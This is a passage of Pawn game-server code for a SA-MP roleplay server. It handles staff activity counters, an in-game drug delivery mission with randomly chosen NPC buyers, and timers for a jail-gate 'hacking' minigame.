	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] == 0)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			PlayerInfo[playerid][pActSecOver] += 1;
			SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
			siyoma[playerid] = 1;
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] == 0)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			PlayerInfo[playerid][pActSecOver] += 1;
			SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
			siyoma[playerid] = 1;
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 5)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			PlayerInfo[playerid][pActSecOver] += 1;
			SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
			siyoma[playerid] = 1;
		 }
	  }
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(HSAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			PlayerInfo[playerid][pActSecOver] += 1;
			SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
			siyoma[playerid] = 1;
		 }
	  }
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(HSAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			PlayerInfo[playerid][pActSecOver] += 1;
			SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
			siyoma[playerid] = 1;
		 }
	  }
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] == 0)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			PlayerInfo[playerid][pActSecOver] += 1;
			SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
			siyoma[playerid] = 1;
		 }
	  }
	}
	return 1;
}
forward Relogme2(playerid);
public Relogme2(playerid)
{
RelogPlayer2(playerid);
return 1;
}
forward Relogme1(playerid);
public Relogme1(playerid)
{
RelogPlayer(playerid);
return 1;
}
forward Relogme3(playerid);
public Relogme3(playerid)
{
RelogPlayer3(playerid);
return 1;
}
forward Relogme4(playerid);
public Relogme4(playerid)
{
RelogPlayer4(playerid);
return 1;
}
forward Relogmec(playerid);
public Relogmec(playerid)
{
RelogPlayerCheat(playerid);
return 1;
}
forward YabooAlafZade(playerid);
public YabooAlafZade(playerid)
{
KillTimer(YabooAlafi[playerid]);
AttemptAlaf[playerid] = 0;
return 1;
}
forward GrowingTime(playerid);//Heroin Crack Weed LSD Optium
public GrowingTime(playerid)
{
Streamer_ToggleIdleUpdate(playerid, 1);
GolBekkar = CreateDynamicObject(661, -1089.34290, -1626.65112, 58.30177,   0.00000, 0.00000, 0.00000);
if(DrugGrowTimer[playerid]!=0){KillTimer(DrugGrowTimer[playerid]);DrugGrowTimer[playerid]=0;}
SCM(playerid, COLOR_SINARANG, "Your drug grown up, you can now pickup it by /pickupdrug.");
AllowToPickupDrug[playerid] = 1;
return 1;
}
forward DontBeLateTimer(playerid);
public DontBeLateTimer(playerid)
{
if(DontBeLate[playerid]!=0){KillTimer(DontBeLate[playerid]);DontBeLate[playerid]=0;}
SCM(playerid, COLOR_SINAGHERMEZ, "Drug delivery mission failed!");
new azaz[100];
format(azaz, 100, "%s is not waiting for you anymore.",MyBuyer[playerid]);
SendMessage(playerid, COLOR_SINAGHERMEZ, azaz);
SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",6);
WantedKamKonTimerValid[playerid] = true;
WantedTimerEZ[playerid] = 900;
PlayerTextDrawShow(playerid, WantedTTD[playerid]);
new sendradio[144];
format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
SendFamilyMessage(1, COLOR_BLUE, sendradio);
SendFamilyMessage(2, COLOR_BLUE, sendradio);
SendFamilyMessage(3, COLOR_BLUE, sendradio);
OnDrugMission = 0;
if(SearchForBuyerTimer[playerid]!=0){KillTimer(SearchForBuyerTimer[playerid]);SearchForBuyerTimer[playerid]=0;}
if(DrugGrowTimer[playerid]!=0){KillTimer(DrugGrowTimer[playerid]);DrugGrowTimer[playerid]=0;}
if(DontBeLate[playerid]!=0){KillTimer(DontBeLate[playerid]);DontBeLate[playerid]=0;}
WhichSelected[playerid] = 0;
MyBuyer[playerid] = "NULL";
WhoIsMissioner[playerid] = 0;
AllowToPickupDrug[playerid] = 0;
GramsIllicit[playerid] = 0;
OnCheckpoint[playerid] = 0;
CP[playerid] = 0;
DisablePlayerCheckpoint(playerid);
if(DontArriveSoon[playerid]!=0){KillTimer(DontArriveSoon[playerid]);DontArriveSoon[playerid]=0;}
HamleDrugs[playerid] = 0;
DestroyActor(DrugActor);
DestroyDynamic3DTextLabel(DrugActorName);
if(SohbatDrug3[playerid]!=0){KillTimer(SohbatDrug3[playerid]);SohbatDrug3[playerid]=0;}
if(SohbatDrug2[playerid]!=0){KillTimer(SohbatDrug2[playerid]);SohbatDrug2[playerid]=0;}
if(SohbatDrug1[playerid]!=0){KillTimer(SohbatDrug1[playerid]);SohbatDrug1[playerid]=0;}
if(SohbatDrug4[playerid]!=0){KillTimer(SohbatDrug4[playerid]);SohbatDrug4[playerid]=0;}
AllowToPickupDrug[playerid] = 0;
return 1;
}
forward SearchingForABuyer(playerid);
public SearchingForABuyer(playerid)
{
if(SearchForBuyerTimer[playerid]!=0){KillTimer(SearchForBuyerTimer[playerid]);SearchForBuyerTimer[playerid]=0;}
new randomname[50];
new RandomGetName = RandomShomare(1,21);
if(RandomGetName == 1)
{
randomname = "Arthur";
DrugActor = CreateActor(28, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 3.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Arthur",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 2)
{
randomname = "Tony";
DrugActor = CreateActor(30, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Tony",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 3)
{
randomname = "Oliver";
DrugActor = CreateActor(32, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Oliver",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 4)
{
randomname = "Jack";
DrugActor = CreateActor(34, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Jack",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 5)
{
randomname = "Harry";
DrugActor = CreateActor(44, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Harry",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 6)
{
randomname = "Charlie";
DrugActor = CreateActor(47, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Charlie",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 7)
{
randomname = "Oscar";
DrugActor = CreateActor(58, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Oscar",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 8)
{
randomname = "James";
DrugActor = CreateActor(74, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("James",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 9)
{
randomname = "William";
DrugActor = CreateActor(100, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("William",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 10)
{
randomname = "Thomas";
DrugActor = CreateActor(109, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Thomas",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 11)
{
randomname = "Charles";
DrugActor = CreateActor(118, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Charles",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 12)
{
randomname = "Richard";
DrugActor = CreateActor(133, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Richard",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 13)
{
randomname = "David";
DrugActor = CreateActor(137, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("David",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 14)
{
randomname = "John";
DrugActor = CreateActor(168, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("John",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 15)
{
randomname = "Robert";
DrugActor = CreateActor(179, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Robert",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 16)
{
randomname = "Michael";
DrugActor = CreateActor(181, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Michael",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 17)
{
randomname = "Alex";
DrugActor = CreateActor(183, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Alex",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 18)
{
randomname = "Alexander";
DrugActor = CreateActor(189, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Alexander",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 19)
{
randomname = "Connor";
DrugActor = CreateActor(222, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Connor",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 20)
{
randomname = "Kyle";
DrugActor = CreateActor(229, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Kyle",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
if(RandomGetName == 21)
{
randomname = "Joe";
DrugActor = CreateActor(235, 927.43555, 1803.86511, 8.82975,   86.09999);
SetActorInvulnerable(DrugActor, true);
SetActorFacingAngle(DrugActor, 2.10);
new azaz[144];
format(azaz, 144, "Buyer found! His name is %s. He's waiting for you.",randomname);
SendMessage(playerid, COLOR_LIGHTRED, azaz);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.43555, 1803.86511, 8.82975, 5.0);
CP[playerid] = 65074;
strcpy(MyBuyer[playerid],randomname,50);
DrugActorName = CreateDynamic3DTextLabel("Joe",COLOR_SINAGHERMEZ,927.43555,1803.86511,8.82975,10.0,.testlos=1);
DontArriveSoon[playerid] = SetTimerEx("ArriveSoon", 60000, false, "i", playerid);
HamleDrugs[playerid] = 1;
}
return 1;
}
forward TalkDrug1(playerid);
public TalkDrug1(playerid)
{
if(SohbatDrug1[playerid]!=0){KillTimer(SohbatDrug1[playerid]);SohbatDrug1[playerid]=0;}
new vezez[70];
format(vezez, sizeof(vezez), "%s Says: Did you bring my drugs?",MyBuyer[playerid]);
ProxDetector(20.0, playerid, vezez,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
SohbatDrug2[playerid] = SetTimerEx("TalkDrug2", 2000, false, "i", playerid);
return 1;
}
forward TalkDrug2(playerid);
public TalkDrug2(playerid)
{
if(SohbatDrug2[playerid]!=0){KillTimer(SohbatDrug2[playerid]);SohbatDrug2[playerid]=0;}
new vezez[70];
	   	new textsay[30];
	   	if(WhichSelected[playerid] == 1) textsay="Heroin";
	   	if(WhichSelected[playerid] == 2) textsay="Crack";
	   	if(WhichSelected[playerid] == 3) textsay="Weed";
	   	if(WhichSelected[playerid] == 4) textsay="LSD";
	   	if(WhichSelected[playerid] == 5) textsay="Optium";
format(vezez, sizeof(vezez), "%s Says: Yes here is your %s grams of %s",RPName(playerid), FormatNumber(GramsIllicit[playerid]), textsay);
ProxDetector(20.0, playerid, vezez,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
SohbatDrug3[playerid] = SetTimerEx("TalkDrug3", 3000, false, "i", playerid);
return 1;
}
forward TalkDrug3(playerid);
public TalkDrug3(playerid)
{
if(SohbatDrug3[playerid]!=0){KillTimer(SohbatDrug3[playerid]);SohbatDrug3[playerid]=0;}
new vezez[70];
format(vezez, sizeof(vezez), "%s Says: It's OK. Here is your money.",MyBuyer[playerid]);
ProxDetector(20.0, playerid, vezez,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
new grams = GramsIllicit[playerid];
TogglePlayerControllable(playerid, 1);
StopLoopingAnim(playerid);
ApplyActorAnimation(DrugActor,"PED","ATM",4.1,0,0,0,0,0);
new riyazi = grams*15;
new count = riyazi += 10000;
GivePlayerPool(playerid, count);
new vezezz[11];
format(vezezz, 11, "+$%s",FormatNumber(count));
SendMessage(playerid, COLOR_LIGHTGREEN, vezezz);
SohbatDrug4[playerid] = SetTimerEx("TalkDrug4", 5000, false, "i", playerid);
return 1;
}
forward TalkDrug4(playerid);
public TalkDrug4(playerid)
{
SCM(playerid, COLOR_LIGHTGREEN, "Drug delivery mission completed.");
OnDrugMission = 0;
if(SearchForBuyerTimer[playerid]!=0){KillTimer(SearchForBuyerTimer[playerid]);SearchForBuyerTimer[playerid]=0;}
if(DrugGrowTimer[playerid]!=0){KillTimer(DrugGrowTimer[playerid]);DrugGrowTimer[playerid]=0;}
if(DontBeLate[playerid]!=0){KillTimer(DontBeLate[playerid]);DontBeLate[playerid]=0;}
WhichSelected[playerid] = 0;
MyBuyer[playerid] = "NULL";
WhoIsMissioner[playerid] = 0;
AllowToPickupDrug[playerid] = 0;
GramsIllicit[playerid] = 0;
OnCheckpoint[playerid] = 0;
CP[playerid] = 0;
DisablePlayerCheckpoint(playerid);
KillTimer(DontArriveSoon[playerid]);
HamleDrugs[playerid] = 0;
DestroyActor(DrugActor);
DestroyDynamic3DTextLabel(DrugActorName);
if(SohbatDrug3[playerid]!=0){KillTimer(SohbatDrug3[playerid]);SohbatDrug3[playerid]=0;}
if(SohbatDrug2[playerid]!=0){KillTimer(SohbatDrug2[playerid]);SohbatDrug2[playerid]=0;}
if(SohbatDrug1[playerid]!=0){KillTimer(SohbatDrug1[playerid]);SohbatDrug1[playerid]=0;}
if(SohbatDrug4[playerid]!=0){KillTimer(SohbatDrug4[playerid]);SohbatDrug4[playerid]=0;}
AllowToPickupDrug[playerid] = 0;
return 1;
}
forward TeleportMeInEvent(playerid);
public TeleportMeInEvent(playerid)
{
KillTimer(EventTeleporter[playerid]);
	if(playerid == EventOrg)
	{
	if(EventHave == true)
	{
		SetPlayerPos(playerid, Teleportevent[0],Teleportevent[1],Teleportevent[2]);
		SetPlayerVirtualWorld(playerid,Telportevent[0]);
		SetPlayerInterior(playerid,Telportevent[1]);
		Mahal[playerid] = Telportevent[2];
		TooHouse[playerid] = Telportevent[3];
		TooBiz[playerid] = Telportevent[4];
		EventPlayer[playerid] = 1;
	}
	}
return 1;
}
forward ArriveSoon(playerid);
public ArriveSoon(playerid)
{
if(DontArriveSoon[playerid]!=0){KillTimer(DontArriveSoon[playerid]);DontArriveSoon[playerid]=0;}
HamleDrugs[playerid] = 0;
return 1;
}
forward HackTimerFind(playerid);
public HackTimerFind(playerid)
{
NoFindMeHacker[playerid] = 0;
	if(FindHackerTimer[playerid]){KillTimer(FindHackerTimer[playerid]);FindHackerTimer[playerid]=0;}
return 1;
}
forward FindCheckHackTimer(playerid);
public FindCheckHackTimer(playerid)
{
	if(FindCheckHack[playerid]){KillTimer(FindCheckHack[playerid]);FindCheckHack[playerid]=0;}
CanHackFind[playerid] = 0;
return 1;
}
forward GateHackDelayz(playerid);
public GateHackDelayz(playerid)
{
	if(GateHackDelay[playerid]){KillTimer(GateHackDelay[playerid]);GateHackDelay[playerid]=0;}
SCM(playerid, COLOR_YELLOW2, "Connected successfully.");
new mainz[300];
format(mainz,sizeof(mainz),"Hacking jail gates...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}", HackingNumberMin[playerid], HackingNumberMax[playerid]);
new title[256];
format(title, sizeof(title), "Hacking Gates");
ShowPlayerDialog(playerid,6591,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
return 1;
}
forward TimerToHackGatesz(playerid);
public TimerToHackGatesz(playerid)
{
SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Hacking Gates",6);
WantedKamKonTimerValid[playerid] = true;
